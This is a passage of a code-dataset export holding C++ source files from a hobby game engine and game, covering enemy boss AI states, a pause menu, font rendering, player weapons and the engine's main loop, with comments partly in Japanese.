EnBattlePhase::Calm;\n\t\te->SetSmokeFlag(false);\n\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(false);\n\t\t//printf(\"phase 1\\n\");\n\t}\n\n\n\tif (!m_isPerformed) {\n\t\tGameManager::GetInstance().m_gameScene->OnEnterBattle(e);\n\t\tm_isPerformed = true;\n\t\te->PlayJetSE();\n\t}\n\n}\n\nIEnemyState* EnemyMeleeBattleState::Update(IEnemy* e) {\n\n\tauto delta = gameTime()->GetDeltaTime();\n\n\tconst float staminaRecoverSpeedMadParam = 500.f;\n\tconst float staminaRecoverSpeedNormalParam = 1.5f;\n\n\tswitch (m_battlePhase) {\n\tcase EnBattlePhase::Calm:\n\t\te->RecoverStamina(m_stamina_recover_amount * delta);\n\t\tbreak;\n\tcase EnBattlePhase::Normal:\n\t\te->RecoverStamina(m_stamina_recover_amount * staminaRecoverSpeedNormalParam * delta);\n\t\tbreak;\n\tcase EnBattlePhase::Mad:\n\t\te->RecoverStamina(m_stamina_recover_amount * staminaRecoverSpeedMadParam * delta);\n\t\tbreak;\n\t}\n\n\tconst auto stamina = e->GetAbility().stamina;\n\n\tauto player = GameManager::GetInstance().GetPlayer();\n\n\tif (player->GetCurrentHP() <= 0) {\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t}\n\n\tauto& epos = e->GetPosition();\n\tauto& ppos = player->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float distLimit = 20.f;\n\tconst float PunchAttackRange = e->GetCharaRadius() + player->GetCharaRadius() + 5.f;\n\tconst float ThrusterAttackRange = e->GetCharaRadius() + player->GetCharaRadius() +45.f;\n\n\tconst float flyDist = 0.f;\n\tconst auto rnd = GRandom().Rand();\n\n\n\tconst float GRAVITY = -30.f;\n\n\t//Chase\n\tif (vecToPlayer.Length() > distLimit) {\n\t\tauto v = vecToPlayer;\n\t\tv.Normalize();\n\t\tconst float speed = 50.f;\n\t\tauto velocity = v * speed;\n\n\t\tif (!e->IsOnGround())\n\t\t\tvelocity.y = GRAVITY;\n\n\t\te->SetVelocity(velocity);\n\t}\n\n\t//Teleportation\n\tm_tpTimer += delta;\n\n\tif (m_battlePhase == EnBattlePhase::Calm) {\n\t\tconst float teleportationDist = 200.f;\n\t\tconst float tpIntervalSec = 3.f;\n\t\tconst float tpChance = 0.1; // 10% chance\n\n\t\tif ((vecToPlayer.Length() > teleportationDist) or (m_tpTimer > tpIntervalSec and vecToPlayer.Length() > PunchAttackRange and rnd <= tpChance)) {\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enTeleportation));\n\t\t\tm_tpTimer = 0.f;\n\t\t}\n\t}\n\telse if (m_battlePhase == EnBattlePhase::Normal) {\n\t\tconst float teleportationDist = 120.f;\n\t\tconst float tpIntervalSec = 2.f;\n\t\tconst float tpChance = 0.5; // 50% chance\n\n\t\tif ((vecToPlayer.Length() > teleportationDist) or (m_tpTimer > tpIntervalSec and vecToPlayer.Length() > PunchAttackRange and rnd <= tpChance)) {\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enTeleportation));\n\t\t\tm_tpTimer = 0.f;\n\t\t}\n\t}\n\telse if (m_battlePhase == EnBattlePhase::Mad) {\n\t\tconst float teleportationDist = 50.f;\n\t\tconst float tpIntervalSec = 1.5f;\n\t\tconst float tpChance = 0.7; // 70% chance\n\n\t\tif ((vecToPlayer.Length() > teleportationDist) or (m_tpTimer > tpIntervalSec and vecToPlayer.Length() > PunchAttackRange and rnd <= tpChance)) {\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enTeleportation));\n\t\t\tm_tpTimer = 0.f;\n\t\t}\n\t}\n\n\t//Fly\n\tif (player->GetCurrentState() == player->GetState(Player::EnState::enFlying) or vecToPlayer.y > flyDist) {\n\t\treturn e->GetState(TO_INT(BossA::EnState::enFlyState));\n\t}\n\n\t//printf(\"TP TIMER : %f\\n\",m_tpTimer);\n\n\t/*\n\tif (m_tpTimer > tpIntervalSec) {\n\t\tm_tpTimer = 0.f;\n\t}\n\t*/\n\n\t//}\n\n\tif (vecToPlayer.Length() < ThrusterAttackRange) {\n\t\tconst float thrustTime = 0.3f;\n\t\tm_thrustTimer += delta;\n\t\tif (m_thrustTimer >= thrustTime) {\n\t\t\tm_thrustTimer = 0.f;\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enThrusterAttack));\n\t\t}\n\t}\n\n\tif (vecToPlayer.Length() < PunchAttackRange) {\n\t\tconst float numAttack = 2.f;\n\t\tconst float chance = 1.f / numAttack;\n\t\tconst float c1 = chance;\n\t\tconst float c2 = chance * 2.f;\n\t\t//const float c3 = chance *3.f;\n\n\t\tif (rnd >= 0 and rnd <= c1) {\n\t\t\t//attack1\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enPunch));\n\t\t}\n\t\telse if (rnd > c1 and rnd <= c2) {\n\t\t\t//attack2\n\t\t\treturn e->GetState(TO_INT(BossA::EnState::enDashPunch));\n\t\t}\n\t}\n\n\t//状態が変わらないなら自分を返す\n\treturn this;\n}\n\nvoid EnemyMeleeBattleState::Exit(IEnemy* e) {\n#ifdef _PRINT_ENEMY_STATE\n\tDebugPrint_WATA(\"Exit enemy melee battle\\n\");\n#endif\n}"
},
{
"alpha_fraction": 0.6383442282676697,
"alphanum_fraction": 0.6508714556694031,
"avg_line_length": 17.1782169342041,
"blob_id": "aab0683b14eae67d616798376ab3dccb2d58159b",
"content_id": "85b4da6b93979a6bb79965937e2807fb7286e6bb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2170,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 101,
"path": "/Game/GameSceneMenu.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n/// <summary>\n/// \n/// </summary>\nclass GameSceneMenu :public GameObject\n{\npublic:\n\tGameSceneMenu();\n\tvirtual ~GameSceneMenu();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\tvoid PauseGame() {\n\t\tm_isPaused = true;\n\t\tDebugPrint_WATA(\"Game is paused\\n\");\n\t}\n\n\tvoid ResumeGame() {\n\t\tm_isPaused = false;\n\t\tDebugPrint_WATA(\"Game is resumed\\n\");\n\t}\n\n\tconst bool IsGamePaused() {\n\t\treturn m_isPaused;\n\t}\n\nprivate:\n\tbool m_isPaused = false;\n\n\tbool m_isMenuActivated = false;\n\n\tbool m_isDecided = false;\n\n\tenum class EnMenuButtonType {\n\t\tRestart,\n\t\tToTitle,\n\t\tClose,\n\t\tNumType\n\t};\n\n\tint m_selectedTypeID = TO_INT(EnMenuButtonType::Close);\n\n\t//back sprite\n\tSprite m_menuSprite;\n\tconst Vector3 m_menuSpritePos = Vector3::Zero;\n\tconst Vector3 m_menuSpriteScale = { 500.f, 500.f,1.f };\n\tconst Vector4 m_spriteMulCol = { 0.f,0.f,0.f,0.4f };\n\tconst float m_flSpHeight = 16.f;\n\tconst float m_flSpWidth = 16.f;\n\n\t//font\n\tconst float m_FontScale = 1.f;\n\tconst Vector4 m_FontColor = Vector4::White;\n\tstd::vector<Font> m_fonts;\n\tstd::vector<std::wstring> m_texts;\n};\n"
},
{
"alpha_fraction": 0.701298713684082,
"alphanum_fraction": 0.701298713684082,
"avg_line_length": 6.800000190734863,
"blob_id": "ef04408e12f282ff38d3a92dc735f06f1b89fa7d",
"content_id": "1d8ce0175acaf04425ec1dad1293e276abeda34e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 77,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 10,
"path": "/UsualEngineR/Graphics/RaytracingHelper.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"RaytracingHelper.h\"\n\n\n\nnamespace UER\n{\n\t\n\n}"
},
{
"alpha_fraction": 0.7055084705352783,
"alphanum_fraction": 0.7182203531265259,
"avg_line_length": 19.521739959716797,
"blob_id": "f3c06c186a9ce09d17a3abb029eef3e26a1e934f",
"content_id": "3bad91a0d64978cf16410416c53f5e61f253c814",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 472,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 23,
"path": "/Game/Enemy/State/MiddleBombState/BossBombBashState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"Enemy/State/IEnemyState.h\"\n\nclass BossBombBashState final : public IEnemyState\n{\npublic:\n\tBossBombBashState();\n\t~BossBombBashState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\n\tvoid OnAttacked(IEnemy* e);\n\t//void Init(IEnemy* e);\nprivate:\n\n\tfloat m_timer = 0.;\n\tfloat m_timeLimit = 2.;\n\tSphereCollider m_sphere;\n\n\tVector3 m_dir;\n\tfloat m_speed = 100.f;\n\tbool m_isBashHit = false;\n};\n"
},
{
"alpha_fraction": 0.72465580701828,
"alphanum_fraction": 0.728410542011261,
"avg_line_length": 20.026315689086914,
"blob_id": "48bbc2093b076005992f5f209e70fb29ec95b2bb",
"content_id": "e40c33e829883b83d070b1b6b314c952ddb0a159",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 811,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 38,
"path": "/Game/Enemy/State/EnemyExplosionBombState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"EnemyExplosionBombState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"GameManager.h\"\n\nEnemyExplosionBombState::EnemyExplosionBombState()\n{\n}\n\nEnemyExplosionBombState::~EnemyExplosionBombState()\n{\n}\n\nvoid EnemyExplosionBombState::Enter(IEnemy* e)\n{\n\tauto& p = GameManager::GetInstance().m_player;\n\tauto& ppos = p->GetPosition();\n\tauto& epos = e->GetPosition();\n\tauto vecToPlayer = ppos - epos;\n\tconst float exprange = 30.0f;\n\n\tif (vecToPlayer.Length() < exprange) {\n\t\tauto& p = GameManager::GetInstance().m_player;\n\t\tp->ApplyDamage(m_damage);\n\t}\n}\n\nIEnemyState* EnemyExplosionBombState::Update(IEnemy* e)\n{\n\t//とりあえず。\n\treturn e->GetState(TO_INT(IEnemy::EnState::enDeadState));\n\t//return this;\n}\n\nvoid EnemyExplosionBombState::Exit(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.5832788944244385,
"alphanum_fraction": 0.6094056367874146,
"avg_line_length": 18.89610481262207,
"blob_id": "7f7ed9d4310de09d316be4ebb1b1f69b5af61d24",
"content_id": "e7221f5bc738f7d7372b091b8e6498a9a6063d1e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1693,
"license_type": "no_license",
"max_line_length": 135,
"num_lines": 77,
"path": "/UsualEngineR/Graphics/Font.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\nnamespace UER\n{\n\tclass Font\n\t{\n\tpublic:\n\t\tFont();\n\t\t~Font();\n\n\t\tvoid Init();\n\n\t\t//フォントにつける飾り\n\t\tenum FontDrawType\n\t\t{\n\t\t\tFT_None,\n\t\t\tFT_Frame,\n\t\t\tFT_Shadow,\n\t\t};\n\t\t/// <summary>\n\t\t/// 飾りを付けない。\n\t\t/// </summary>\n\t\tvoid DrawTypeNone()\n\t\t{\n\t\t\tm_fontDrawType = FT_None;\n\t\t}\n\t\t/// <summary>\n\t\t/// 枠を付ける。\n\t\t/// </summary>\n\t\tvoid DrawTypeFrame()\n\t\t{\n\t\t\tm_fontDrawType = FT_Frame;\n\t\t}\n\t\t/// <summary>\n\t\t/// 影を付ける。(未実装)\n\t\t/// </summary>\n\t\tvoid DrawTypeShadow()\n\t\t{\n\t\t\tm_fontDrawType = FT_Shadow;\n\t\t}\n\n\t\t/// <summary>\n\t\t/// 開始。\n\t\t/// </summary>\n\t\tvoid Begin();\n\t\t/// <summary>\n\t\t/// 終了。\n\t\t/// </summary>\n\t\tvoid End();\n\t\tvoid Draw(const wchar_t* text, const Vector2& pos, const Vector4& color, float rot, float sca, const Vector2& pivot = { 0.5f,0.5f });\n\n\t\tvoid DrawFrame(const wchar_t* text, const Vector2& pos, const Vector4& color, float rot, float sca, const Vector2& pivot);\n\n\t\t/// <summary>\n\t\t/// 文字列の描画した時のサイズを出力。\n\t\t/// </summary>\n\t\t/// <param name=\"str\"></param>\n\t\t/// <returns></returns>\n\t\tVector2 MeasureString(const wchar_t* str)\n\t\t{\n\t\t\tauto v = m_spriteFont->MeasureString(str);\n\t\t\treturn Vector2(v.m128_f32[0], v.m128_f32[1]);\n\t\t}\n\tprivate:\n\t\tDirectX::SpriteBatch* m_spriteBatch = nullptr;\t\t//スプライトバッチ\n\t\tDirectX::SpriteFont* m_spriteFont = nullptr;\t\t//フォント\n\t\tID3D12DescriptorHeap* m_heap = nullptr;\n\n\t\tMatrix m_scaleMat = g_matIdentity;\n\n\t\tFontDrawType m_fontDrawType = FT_None;\n\n\t\tVector4 m_fontEffectColor = Vector4::Vector4(0.0f, 0.0f, 0.0f, 1.0f);\t//飾りの色。\n\t\tfloat m_fontEffectOffset = 1.0f;\t\t\t\t\t//飾りのオフセット\n\t};\n}"
},
{
"alpha_fraction": 0.6468495726585388,
"alphanum_fraction": 0.6514227390289307,
"avg_line_length": 16.7297306060791,
"blob_id": "54a6b9ccc78cc7bb2a7fb95cb0e70ed73247e5ea",
"content_id": "fe56568350ecdc3b2591eced7d965fe324a65fd4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1968,
"license_type": "no_license",
"max_line_length": 136,
"num_lines": 111,
"path": "/Game/Player/Attachment/Gun.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Gun.h\"\n#include \"Effect/MuzzleFlash.h\"\n#include \"GameManager.h\"\n#include \"GameSceneMenu.h\"\n\nGun::Gun()\n{\n\n}\n\nGun::~Gun()\n{\n\n}\n\n\n\nvoid Gun::Release()\n{\n\tDeleteGO(m_model);\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tDeleteGO(m_muzzleFlashes.at(i));\n\t}\n}\n\nvoid Gun::OnDestroy()\n{\n\tRelease();\n}\n\n\nvoid Gun::Awake()\n{\n\n}\n\nbool Gun::Start()\n{\n\tModelInitData mid;\n\tm_model = NewGO<ModelRender>(0);\n\tmid.m_tkmFilePath = \"Assets/modelData/m/Gun/Gun.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/m/Gun/Gun.tks\";\n\t//mid.m_upAxis = enUpAxisZ;\n\tm_model->Init(mid);\n\n\tm_gunBones[TO_INT(GunBone::Left)] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Left\"));\n\tm_gunBones[TO_INT(GunBone::Right)] = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Right\"));\n\n\t//Effect\n\tMuzzleFlashEffectInitData mfid;\n\tfor (int i = 0; i < TO_INT(EnMuzzles::NumMuzzles); i++) {\n\t\tauto muzzleFlash = NewGO<MuzzleFlash>(0);\n\t\tmuzzleFlash->Init(mfid);\n\t\tmuzzleFlash->SetSca(Vector3::One *0.1);\n\t\tm_muzzleFlashes.push_back(muzzleFlash);\n\t}\n\n\treturn true;\n}\n\n\nvoid Gun::PreUpdate()\n{\n\n}\n\nvoid Gun::Update()\n{\n\tm_model->SetPosition(m_position);\n\tm_model->SetRotation(m_rotation);\n\tm_model->SetScale(m_scale);\n}\n\nvoid Gun::PostUpdate()\n{\n\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tm_muzzleFlashes[i]->SetPos(m_gunBones[i]->GetWorldMatrix().GetTransrate());\n\t\tm_muzzleFlashes[i]->SetRot(m_gunBones[i]->GetWorldMatrix().GetRotate());\n\t}\n\n\tif (!m_isUsed) {\n\t\tm_model->SetActive(false);\n\t}\n\telse {\n\t\tm_model->SetActive(true);\n\t\tif (GameManager::GetInstance().m_menu != nullptr) {\n\t\t\tif (!GameManager::GetInstance().m_menu->IsGamePaused()) {\n\t\t\t\tm_activeTimer += gameTime()->GetDeltaTime();\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nvoid Gun::Render()\n{\n\n}\n\nvoid Gun::PostRender()\n{\n\n}\n\nvoid Gun::PlayFireEffects() {\n\tfor (int i = 0; i < m_muzzleFlashes.size(); i++) {\n\t\tm_muzzleFlashes[i]->Play();\n\t}\n}\n"
},
{
"alpha_fraction": 0.7484848499298096,
"alphanum_fraction": 0.7545454502105713,
"avg_line_length": 18.352941513061523,
"blob_id": "b1f1aee1514045b73ff2976dbe401545a637a7df",
"content_id": "462dc6f9ec3a1bc1113fff792a3fcd828c4235d6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 358,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 17,
"path": "/Game/Player/State/PlayerGuardState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include\"IPlayerSstate.h\"\nclass Player;\n\nclass PlayerGuardState : public IPlayerState\n{\npublic:\n\tPlayerGuardState();\n\t~PlayerGuardState() override;\n\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\n\nprivate:\n\tconst float m_guardParam = 40.f; //何パーセントダメージ軽減する?\n};\n\n"
},
{
"alpha_fraction": 0.6155507564544678,
"alphanum_fraction": 0.615982711315155,
"avg_line_length": 18.61864471435547,
"blob_id": "c301d5d1e8f04c1a985c7075d2a6f11b29e51069",
"content_id": "2fbd22c9be362d08016792b3ae40c9bd2838b577",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2513,
"license_type": "no_license",
"max_line_length": 81,
"num_lines": 118,
"path": "/UsualEngineR/UsualEngine.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"UsualEngine.h\"\n#include \"GraphicsEngine.h\"\n#include \"Physics/Physics.h\"\n\nnamespace UER\n{\n\t\n\tUsualEngine* g_engine = nullptr;\n\t\n\tUsualEngine::~UsualEngine()\n\t{\n\t\tm_pGameObjectManeger->Release();\n\t\tdelete m_pGameObjectManeger;\n\n\t\tm_physicsWorld->Release();\n\t\tdelete m_physicsWorld;\n\n\t\tif (m_graphicsEngine) {\n\t\t\tdelete m_graphicsEngine;\n\t\t}\n\n\t\tm_soundEngine.Release();\n\t\t\n\t}\n\tvoid UsualEngine::Init(HWND hwnd, UINT frameBufferWidth, UINT frameBufferHeight)\n\t{\n\t\t//グラフィックエンジンの初期化。\n\t\tm_graphicsEngine = new GraphicsEngine();\n\t\tm_graphicsEngine->Init(hwnd, frameBufferWidth, frameBufferHeight);\n\t\t//ゲームパッドの初期化。\n\t\tfor (int i = 0; i < GamePad::CONNECT_PAD_MAX; i++) {\n\t\t\tg_pad[i] = &m_pad[i];\n\t\t}\n\n\t\tm_pGameObjectManeger = GameObjectManager::Get();\n\n\t\tm_physicsWorld = new PhysicsWorld();\n\t\tm_physicsWorld->Init();\n\n\t\tm_soundEngine.Init();\n\n#if DEBUG_FUNC\n\t\tDebug::Instance().InitDebugSwitch();\n#endif\n\t}\n\tvoid UsualEngine::GameLoop()\n\t{\n\t\t// ここからゲームループ。\n\t\twhile (true)\n\t\t{\n\t\t\tStopwatch sw;\n\t\t\tsw.Start();\n\n\t\t\tbool isGO = DispatchWindowMessage();\n\t\t\tif (!isGO)\n\t\t\t{\n\t\t\t\tm_pGameObjectManeger->Release();\n\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\n\t\t\tm_physicsWorld->Update();\n\t\t\tm_soundEngine.Update();\n\n\t\t\t//レンダリング開始。\n\t\t\tg_engine->BeginFrame();\n\n#if DEBUG_FUNC\n\t\t\tDebugSwitch::Instance()->Update();\n#endif\n\t\t\t/*#\n\t\t\t###\tRayTracingの奴の残留思念。\n\t\t\t###\n\t\t\tif (isInit == false) {\n\t\t\t\t//g_graphicsEngine->RegistGeometoryToRaytracingEngine(model);\n\t\t\t\t//g_graphicsEngine->RegistGeometoryToRaytracingEngine(bgModel);\n\t\t\t\t//g_graphicsEngine->CommitRegistGeometoryToRaytracingEngine(renderContext);\n\t\t\t\tisInit = true;\n\t\t\t}\n\t\t\telse {\n\n\t\t\t\t//////////////////////////////////////\n\t\t\t\t//ここから絵を描くコードを記述する。\n\t\t\t\t//////////////////////////////////////\n\t\t\t\t//g_graphicsEngine->DispatchRaytracing(renderContext);\n\t\t\t}\n\t\t\t*/\n\n\t\t\tm_pGameObjectManeger->Update();\n\n\t\t\t//////////////////////////////////////\n\t\t\t//絵を描くコードを書くのはここまで!!!\n\t\t\t//////////////////////////////////////\n\t\t\t//レンダリング終了。\n\t\t\tg_engine->EndFrame();\n\n\t\t\tauto frameTime = sw.Stop();\n\t\t\tgameTime()->PushFrameDeltaTime(frameTime);\n\t\t}\n\t\tdelete g_engine;\n\t}\n\tvoid UsualEngine::BeginFrame()\n\t{\n\t\tm_graphicsEngine->BeginRender();\n\t\tfor (auto& pad : m_pad) {\n\t\t\tpad.BeginFrame();\n\t\t\tpad.Update();\n\t\t}\n\t\t\n\t}\n\tvoid UsualEngine::EndFrame()\n\t{\n\t\tm_graphicsEngine->EndRender();\n\t}\n\n}\n"
},
{
"alpha_fraction": 0.7325842976570129,
"alphanum_fraction": 0.7460674047470093,
"avg_line_length": 23.77777862548828,
"blob_id": "cebebede61511ae0e8d8495c006a7f0c7d8c6e57",
"content_id": "f6214854acc4296744e59e71a3677b7874839bf8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 445,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 18,
"path": "/Game/Enemy/State/MeleeBossState/EnemyMeleeFlyState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IEnemyState.h\"\n\nclass EnemyMeleeFlyState : public IEnemyState\n{\npublic:\n\tEnemyMeleeFlyState();\n\tvirtual ~EnemyMeleeFlyState() override;\n\tvirtual void Enter(IEnemy* e) override;\n\tvirtual IEnemyState* Update(IEnemy* e) override;\n\tvirtual void Exit(IEnemy* e) override;\nprivate:\n\tfloat m_flyTimer = 0.f;\n\tconst float m_flyLimitTime = 1.f;\n\tconst float m_chaseSpeed = 100.f;\n\n\tconst float m_stamina_recover_amount = 5.f;\n};"
},
{
"alpha_fraction": 0.6700738668441772,
"alphanum_fraction": 0.6800000071525574,
"avg_line_length": 25.160741806030273,
"blob_id": "484a84fe65138112c192a4588ef9eb4e023a74f7",
"content_id": "abd50b4884ae9bacc58ed20f63ee6dfa3a19c7a3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 16925,
"license_type": "no_license",
"max_line_length": 166,
"num_lines": 647,
"path": "/Game/Player/Pod/Pod.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"Pod.h\"\n#include \"../Player.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"../../GameSceneMenu.h\"\n#include \"../../GameManager.h\"\n#include \"../../Camera/GameCamera.h\"\n#include \"../../Effect/JetEffect.h\"\n#include \"../Attack/Projectile.h\"\n#include \"Effect/ExplosionEffect.h\"\n#include \"Effect/Beam.h\"\n\nstruct PodSweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tPodSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\tif (\n\t\t\t(index & enCollisionAttr_NonHit) or (index & enCollisionAttr_Character) or (index & enCollisionAttr_Ground)\n\t\t\t)\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)&convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\n\nPod::Pod()\n{\n\n}\n\nPod::~Pod()\n{\n\n}\n\nvoid Pod::Release()\n{\n\tDeleteGO(m_model);\n\tfor (int i = 0; i < m_jetEffects.size(); i++) {\n\t\tDeleteGO(m_jetEffects[i]);\n\t}\n\n\tm_explosionEffect->Stop();\n\tDeleteGO(m_explosionEffect);\n\n\tm_beamEffect->Stop();\n\tDeleteGO(m_beamEffect);\n\n\tm_sphere.Release();\n\n\t//PlayerBulletManager::GetInstance()->InstanceNULL();\n\t//DeleteGO(m_playerBulletManager);\n}\n\nvoid Pod::OnDestroy()\n{\n\tRelease();\n}\n\nvoid Pod::Awake()\n{\n\n}\n\nbool Pod::Start()\n{\n\n\tm_sphere.Create(0.5f);\n\n\tModelInitData mid;\n\tmid.m_tkmFilePath = \"Assets/modelData/AssistantMachine/am.tkm\";\n\tmid.m_tksFilePath = \"Assets/modelData/AssistantMachine/am.tks\";\n\tmid.m_upAxis = EUpAxis::enUpAxisY;\n\tmid.m_vsfxFilePath = \"Assets/shader/AnimModel.fx\";\n\tm_model = NewGO<ModelRender>(0);\n\tm_model->Init(mid);\n\tm_model->SetScale(m_scale);\n\n\n\t//Effect\n\tauto jetEffect = NewGO<JetEffect>(0);\n\tauto jetEffect1 = NewGO<JetEffect>(0);\n\tJetEffect::JetEffectInitParam jeip;\n\tjeip.effectScale = 0.01f;\n\tjeip.effectScale_inv = 1.f / jeip.effectScale;\n\tjeip.particleScale = 5.f;\n\tjeip.particleLifeTime = 1.f;\n\tjeip.particleYUp = 300.f;\n\tjetEffect->Init(jeip);\n\tjetEffect1->Init(jeip);\n\tm_jetEffects.push_back(jetEffect);\n\tm_jetEffects.push_back(jetEffect1);\n\n\t//beam effect\n\tBeamEffectInitData bid;\n\tm_beamEffect = NewGO<Beam>(0);\n\tm_beamEffect->Init(bid);\n\tm_beamEffect->SetSca(Vector3::One * 0.03);\n\n\t//Bone\n\tm_podBones.resize(TO_INT(EnPodBone::enNumBoneType));\n\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Burrel_L.001\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Burrel_L1)) = bone;\n\t}\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Burrel_L.002\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Burrel_L2)) = bone;\n\t}\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Burrel_R.001\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Burrel_R1)) = bone;\n\t}\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Burrel_R.002\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Burrel_R2)) = bone;\n\t}\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Thruster_Back\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Thruster_Back)) = bone;\n\t}\n\t{\n\t\tauto bone = m_model->GetModel().GetSkelton()->GetBone(m_model->GetModel().GetSkelton()->FindBoneID(L\"Thruster_Under\"));\n\t\tm_podBones.at(TO_INT(EnPodBone::Thruster_Under)) = bone;\n\t}\n\n\t//bullets\n\tauto pbm = PlayerBulletManager::GetInstance();\n\tpbm->Allocate(70);\n\t//m_playerBulletManager = pbm;\n\n\tm_explosionEffect = 